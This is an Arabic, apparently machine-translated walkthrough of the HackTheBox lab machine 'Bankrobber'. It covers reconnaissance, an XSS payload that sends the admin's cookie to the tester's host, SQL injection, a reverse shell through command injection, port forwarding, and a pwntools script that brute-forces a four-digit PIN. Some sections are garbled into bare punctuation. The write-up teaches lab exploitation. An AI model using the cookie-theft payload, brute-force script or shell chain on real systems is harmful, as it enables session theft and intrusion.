هاك ذا بوكس. تجول Bankrobber. XSS ، إدخال SQL ، CSRF ، إعادة توجيه المنفذ

صورة

أواصل نشر الحلول المرسلة للمعالجة الإضافية من موقع HackTheBox . آمل أن يساعد ذلك شخصًا على الأقل على التطور في مجال أمن المعلومات. في هذه المقالة ، سنقوم بسرقة ملفات تعريف الارتباط الخاصة بمسؤول الموقع عبر XSS ، ومعرفة الشفرة باستخدام إدخال SQL ، والحصول على shell من خلال نموذج تنفيذ الأمر باستخدام XSS و CSRF ، ونسخ المنفذ من Windows ، ولف رقم التعريف الشخصي الخاص بتطبيق تحويل الأموال السهل باستخدام pwntools.

يتم الاتصال بالمختبر عبر VPN. من المستحسن عدم الاتصال من كمبيوتر العمل أو من مضيف حيث تتوفر البيانات المهمة بالنسبة لك ، حيث ينتهي بك الأمر على شبكة خاصة مع أشخاص يعرفون شيئًا في مجال أمن المعلومات :)

المعلومات التنظيمية
, - , :

  • PWN;
  • (Crypto);
  • c (Network);
  • (Reverse Engineering);
  • (Stegano);
  • WEB-.

, , , .

, , Telegram . , , .

. , - , .

ريكون


يحتوي هذا الجهاز على عنوان IP 10.10.10.154 ، والذي أضيفه إلى / etc / hosts.

10.10.10.154	bankrobber.htb

أولاً ، نقوم بمسح المنافذ المفتوحة. نظرًا لأنه يستغرق وقتًا طويلاً لفحص جميع المنافذ باستخدام nmap ، سأفعل ذلك أولاً مع ماسكان. نقوم بمسح جميع منافذ TCP و UDP من واجهة tun0 بسرعة 500 حزمة في الثانية.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.154 --rate=500

صورة

الآن ، للحصول على معلومات أكثر تفصيلاً حول الخدمات التي تعمل على المنافذ ، سنقوم بإجراء مسح ضوئي باستخدام الخيار -A.

nmap -A bankrobber.htb -p80,443,445,3306

صورة

يحتوي المضيف على خادم ويب و SMB ، كما يتوفر MySQL. لا تعطينا SMB و MySQL أي شيء ، لذا انظر إلى الويب.

صورة

يتم تقديم موقع Bitcoin على الويب حيث يمكننا التسجيل.

صورة

دعونا التسجيل وتسجيل الدخول. لقد تم تزويدنا بنموذج لتحويل الأموال.

صورة

بعد إكمال طلب اختبار بسيط ، نتلقى رسالة. تقول أن المسؤول سينظر في طلب المعاملات لدينا ويتخذ قرارًا.

صورة

هذا تلميح كبير جدًا لـ XSS. لنحاول سرقة ملف تعريف ارتباط المشرف. أولاً ، قم بنشر خادم HTTP المحلي.

صورة

الآن نقوم بتنفيذ طلب المعاملة ، مع تحديد تحميل JS التالي كرسالة.
<script>new  Image().src="http://10.10.15.106/xss?param="%2bdocument.cookie;</script>

وبالتالي ، عند محاولة تحميل صورة ، سيتصل البرنامج النصي بهذا العنوان ، وكمعلمة ، سيرسل لنا ملفات تعريف الارتباط للحساب الذي تم تنفيذ البرنامج النصي بموجبه (في هذه الحالة ، المسؤول).

صورة

يبدو base64. نقوم بفك الشفرة والحصول على تسجيل دخول المسؤول وكلمة المرور.

صورة

قم بتسجيل الدخول كمسؤول واطلع على الجديد بالنسبة لنا. عن طريق إرسال عرض أسعار في حقل بحث المستخدم ، نحصل على خطأ - هناك حقن.

صورة

خادم آخر يسأل عن الأمر dir.

صورة

ولكن الإجابات المحلية فقط.

صورة

دعونا نعود إلى إدخال SQL.

صورة

نحدد عدد الأعمدة والتي يتم عرضها.

صورة

وبالتالي ، يتم عرض العمودين الأول والثاني.

المستعمل


بعد الجلوس قليلاً ، لم نجد شيئًا مثيرًا للاهتمام. دعنا ننتقل إلى وحدة backdoorchecker. ابحث عن حدث يستجيب بنقرة زر.

صورة

انتقل إلى وحدة تحكم المستعرض وأدخل اسم الوظيفة.

صورة

نتبع رابط الوظيفة.

صورة

ونجد أين يذهب الطلب. بفضل الحقن ، يمكننا قراءة الملف (في المرة الأولى التي خمنت فيها مسار xampp الافتراضي).

صورة

وبالتالي ، سيتم تنفيذ الأمر إذا كانت السلسلة الفرعية "dir" موجودة في السطر. هذا يسمح لنا بإرسال سلسلة من الأوامر. يبقى للتعامل مع واحد ، يجب أن يأتي الطلب من المضيف المحلي. نذكر XSS ووظيفة callSys () ، التي يمكننا استدعاؤها لإرسال طلب. تحقق من افتراضنا.

صورة

منذ اكتمال الأمر ، دعنا ننفذ RCE باستخدام البرنامج النصي Invoke-PowerShellTcp من الحزمةنيشانج .

صورة

جذر


بادئ ذي بدء ، نقوم بإجراء التعداد الأساسي للنظام. لهذا نستخدم winPEAS .

صورة

من جميع المخرجات نتشبث بالمنفذ المفتوح على localhost 910.

صورة

دعونا نرى ما هو عليه. تحتاج أولاً إلى رمي المنفذ. من بين جميع البرامج ، فإن الحل الأكثر ملاءمة هو إزميل . تشغيل على المضيفين المحليين والمضيفين البعيدين.

صورة

صورة

اتصل الآن وشاهد ما هو موجود.

صورة

يلزم إدخال رمز PIN مكون من 4 أرقام. سنقوم بفرزها.
#!/usr/bin/python3

def clear():
    sys.stdout.write("\033[F")
    sys.stdout.write("\033[K")

from pwn import *

for numb in range(10000):
    PIN = str(numb).rjust(4, '0')
    r = remote('127.0.0.1', 910)
    print("Find PIN: " + PIN, end="\r")
    clear()
    r.sendafter('[$] ', PIN+"\n")
    ans = r.recv()
    if b"Access denied" in ans:
        r.close()
        clear()
    else:
        print("[+] PIN found: " + PIN)
        print(str(ans, "utf-8"))
        break
    
r.interactive()


صورة

نجد رمز PIN ويطلب منا إدخال مبلغ المعاملة. نفعل هذا ولا يحدث شيء.

صورة

يتم تحويل المبلغ إلى برنامج يعمل كمسؤول. لم نجد شيئًا أكثر ، ننقل كمجموع سلسلة من 100 حرف.

صورة

صورة

ونرى كيف تغير خط إطلاق البرنامج إلى جزء من خطنا. دعونا نتحقق من أي فهرس حدث هذا.

صورة

وبالتالي ، إذا مررنا سطرًا باسم برنامج آخر ، فسيتم تنفيذه. دعونا تحقق.

صورة

صورة

صورة

والافتراض صحيح. للبدء ، قم بتنزيل netcat.

صورة

والآن دعنا نربط الظهر.

صورة

صورة

الحصول على امتيازات النظام.

يمكنك الانضمام إلينا على Telegram. دعونا نجمع مجتمعًا سيكون فيه أناس على دراية في العديد من مجالات تكنولوجيا المعلومات ، ثم يمكننا دائمًا مساعدة بعضنا البعض في أي قضايا تتعلق بتكنولوجيا المعلومات وأمن المعلومات.

All Articles